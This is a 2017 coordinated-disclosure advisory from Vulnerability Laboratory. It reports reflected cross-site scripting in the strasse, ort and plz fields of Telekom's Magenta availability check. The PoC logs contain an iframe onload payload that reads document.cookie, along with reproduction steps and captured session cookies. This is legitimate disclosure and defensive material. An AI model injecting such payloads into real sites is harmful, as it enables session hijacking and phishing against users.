Document Title: =============== Telekom Magenta CMS - Multiple Cross Site Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2052 Telekom Security ID: 20161216_SSc_01 Release Date: ============= 2017-09-17 Vulnerability Laboratory ID (VL-ID): ==================================== 2052 Common Vulnerability Scoring System: ==================================== 4.2 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== https://www.telekom.de/zuhause/tarife-und-optionen/internet Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple client-side cross site scripting vulnerabilities in the official Telekom Magenta online service web-application. Vulnerability Disclosure Timeline: ================================== 2016-12-15: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2016-12-16: Vendor Notification (Telekom Cert - Security Department) 2017-04-07: Vendor Response/Feedback (Telekom Cert - Security Department) 2017-09-01: Vendor Fix/Patch (Telekom Service Developer Team) 2017-09-18: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Telekom AG Product: Magenta Availability Check - Online Service (Web-Application) 2017 Q1 Exploitation Technique: ======================= Remote Severity Level: =============== Medium User Interaction: ================= No User Interaction Technical Details & Description: ================================ Multiple client-side cross site scripting vulnerabilities has been discovered in the official Telekom Magenta online service web application. The cross site vulnerability allows remote attackers to inject own malicious script codes in client-side browser to web-application requests. The cross site scripting vulnerabilities are located in the `strasse`, `ort` and `plz` input fields of the `Availability Check` module. Remote attackers are able to perform malicious POST method requests via `Availability Check` module to trigger a client-side cross site scripting issue. The attack vector of the vulnerability is non-persistent and the request method to inject is POST. The security issue is a classic client-side cross site scripting vulnerability. Exploitation of the client-side cross site scripting vulnerability requires no privilege web-application user account and only low user interaction. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious sources and non-persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Telekom Magenta - Availability Check Vulnerable Function(s): [+] /zuhause/tarife-und-optionen/internet Vulnerable Parameter(s): [+] strasse [+] ort [+] plz Proof of Concept (PoC): ======================= The client-side cross site scripting vulnerabilities can be exploited by remote attackers without user account and with low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. open the references url with the callback 2. Search for a new rate to magenta Note: Multiple input fields became visible on interact 3. Inject your script code test payloads to the vulnerable marked input fields 4. Save the request to perform a search 5. The execute occurs behind the input field because of a broken input validation 6. Successful reproduce of the client side cross site scripting vulnerability! PoC: Vulnerable Source
--- PoC Session Logs (POST) --- Status: 200[OK] POST https://ebs01.telekom.de/acproxy/bycaptcha.do Mime Type[application/json] Request Header: Host[ebs01.telekom.de] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0] Accept[application/json, text/javascript, */*; q=0.01] Content-Type[application/x-www-form-urlencoded; charset=UTF-8] Referer[https://www.telekom.de/zuhause/tarife-und-optionen/internet?callback=off&wt_mc=av_da_501528:214233:934605:16073809] Content-Length[100] Origin[https://www.telekom.de] Connection[keep-alive] POST-Daten: strasse[%3Ciframe+src%3Da+onload%3Dalert(document.cookie)%3E][CROSS SITE SCRIPTING PAYLOAD INJECTION POINT!] hausnummer[23] hausnummerzusatz[] plz[CROSS SITE SCRIPTING PAYLOAD INJECTION POINT!] ort[CROSS SITE SCRIPTING PAYLOAD INJECTION POINT!] Response Header: Server[geheim] [oder auch nicht ;)] access-control-allow-credentials[true] Access-Control-Allow-Origin[https://www.telekom.de] Vary[Origin,Accept-Encoding] Content-Type[application/json;charset=UTF-8] Content-Length[263] Connection[Keep-Alive] - Status: 200[OK] POST https://ebs01.telekom.de/acproxy/bycaptcha.do Mime Type[application/json] Request Header: Host[ebs01.telekom.de] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0] Accept[application/json, text/javascript, */*; q=0.01] Content-Type[application/x-www-form-urlencoded; charset=UTF-8] Referer[https://www.telekom.de/zuhause/tarife-und-optionen/internet?callback=off&wt_mc=av_da_501528:214233:934605:16073809] Content-Length[124] Origin[https://www.telekom.de] Connection[keep-alive] POST-Daten: strasse[a%22%3E%3Ciframe+src%3Da+onload%3Dalert(document.cookie)%3E][CROSS SITE SCRIPTING PAYLOAD INJECTION POINT!] hausnummer[23] hausnummerzusatz[CROSS SITE SCRIPTING PAYLOAD INJECTION POINT!] plz[CROSS SITE SCRIPTING PAYLOAD INJECTION POINT!] ort[] Response Header: Server[geheim] access-control-allow-credentials[true] Access-Control-Allow-Origin[https://www.telekom.de] Vary[Origin,Accept-Encoding] Content-Type[application/json;charset=UTF-8] Content-Length[273] Connection[Keep-Alive] - Status: 302[Found] GET https://www.telekom.de/zuhause/tarife-und-optionen/X[CLIENT SIDE SCRIPT CODE EXECUTION POINT OF XSS!] Mime Type[text/html] Request Header: Host[www.telekom.de] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[https://www.telekom.de/zuhause/tarife-und-optionen/internet?callback=off&wt_mc=av_da_501528:214233:934605:16073809] Cookie[sid=asb8nhKks6XZnkr3iEvyqmih2cnJbH1L1G9hp7n_TKn4LnvS5Y45-0ao2zbpB6GrXzQ=; viewvpnr=MetaPeople|917.1.140760.2dd91efd223559812fa819198d4cc8b8.501528.501528-AI0V-DtoP-CHbB-MWt8oDSW-zzzJqdgDI59yQ-CvQ-2..1481892493.2.1482151693|VM0780|69776|69776|11209968424||4002091; vpnr=4204000; affiliate=MetaPeople|917.1.1061069.645801522852daf7dc057edf059b3642.501528.501528-AI0V-DtoP-CHbB-MWt8oDSW-zzzJqdgDI59yQ-CvQ-1.0.1481892753.1.1484484753|VM0780|69776|69776|11209968424||4002091; Position=0; utag_main=v_id:015907b02599008ff59facaaa3400c048007200d00bd0$_sn:1$_ss:0$_st:1481894657285$ses_id:1481892701595%3Bexp-session$_pn:6%3Bexp-session; wt3_eid=%3B196380495960676%7C4148189270500038821; wt_cookiecontrol=1; 85950269-VID=1717802764307166; 85950269-SKEY=2446253963911121620; HumanClickSiteContainerID_85950269=STANDALONE; cookieaccepted=1; TEALIUM=customertype%24%24%3A%24%24no] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache] Vary[Referer] Content-Length[11] Location[https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-LR-Site/de_DE/-/EUR/ViewError-NotFound?HttpStatusCode=404] Accept-Ranges[bytes] Connection[Keep-Alive] Content-Type[text/html;charset=iso-8859-1] Reference(s): https://www.telekom.de/ https://www.telekom.de/zuhause/ https://www.telekom.de/zuhause/tarife-und-optionen/ https://www.telekom.de/zuhause/tarife-und-optionen/internet https://www.telekom.de/zuhause/tarife-und-optionen/internet?callback Solution - Fix & Patch: ======================= 1. Parse the input field or filter the content by an escape to prevent the injection point 2. Restrict the input fields of the file by disallowing the usage of special chars 3. Parse in all output sections the vulnerable context of the input fields to prevent further exploitation via frontend or backend Security Risk: ============== The security risk of the client-side cross site scripting web vulnerability in the telekom magenta availability check application is estimated as medium. Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™